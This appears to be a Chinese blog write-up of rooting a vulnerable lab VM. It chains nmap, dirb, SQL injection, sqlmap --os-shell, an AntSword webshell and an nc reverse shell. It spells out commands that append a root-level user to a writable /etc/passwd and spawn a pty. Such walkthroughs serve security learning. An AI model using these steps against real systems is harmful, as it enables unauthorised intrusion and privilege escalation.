[]为所使用的工具,图片顺序正确,dirb和nmap和sqlmap比较简单就没图片了
[nmap]只开放了80端口
[dirb]然后目录爆破
然后有一个pipinfo和输入框sql注入(不过这个里面什么都没有)
[sqlmap]不过sqlmap –os-shell可以进入shell(完整目录通过pipinfo可以知道)
[蚁剑,nc]然后写了个一句话木马连蚁剑，然后蚁剑里面写nc，反弹到kali，然后发现/etc/passwd可以读写，用openssl passwd -1 -salt huo 123456创建密码，然后echo ‘huo:密码:0:0:/root:/bin/bash’ >> /etc/passwd，由于没有tty，所以需要python -c ‘import pty;pty.spawn(“/bin/bash”)’，成功后su huo，输入密码123456，发现已经变成了root@aiweb，就完成了
© 版权声明
1、本网站名称：
X黑手网
2、本站永久网址：https://www.xheishou.com
3、本网站的文章部分内容可能来源于网络，仅供大家学习与参考，如有侵权，请联系站长进行删除处理。
4、本站一切资源不代表本站立场，并不代表本站赞同其观点和对其真实性负责。
5、本站一律禁止以任何方式发布或转载任何违法的相关信息，访客发现请向站长举报
6、本站资源大多存储在云盘，如发现链接失效，请联系我们我们会第一时间更新。
2、本站永久网址：https://www.xheishou.com
3、本网站的文章部分内容可能来源于网络，仅供大家学习与参考，如有侵权，请联系站长进行删除处理。
4、本站一切资源不代表本站立场，并不代表本站赞同其观点和对其真实性负责。
5、本站一律禁止以任何方式发布或转载任何违法的相关信息，访客发现请向站长举报
6、本站资源大多存储在云盘，如发现链接失效，请联系我们我们会第一时间更新。
THE END
暂无评论内容